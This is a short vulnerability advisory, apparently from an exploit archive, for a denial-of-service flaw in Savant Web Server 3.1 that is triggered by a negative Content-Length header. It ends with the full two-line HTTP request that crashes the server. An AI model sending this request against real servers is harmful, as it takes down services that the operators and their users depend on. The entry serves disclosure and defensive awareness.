Savant Web Server 3.1 - Malformed Content-Length Denial of Service

source: https://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue. 

GET / HTTP/1.0
Content-Length: -1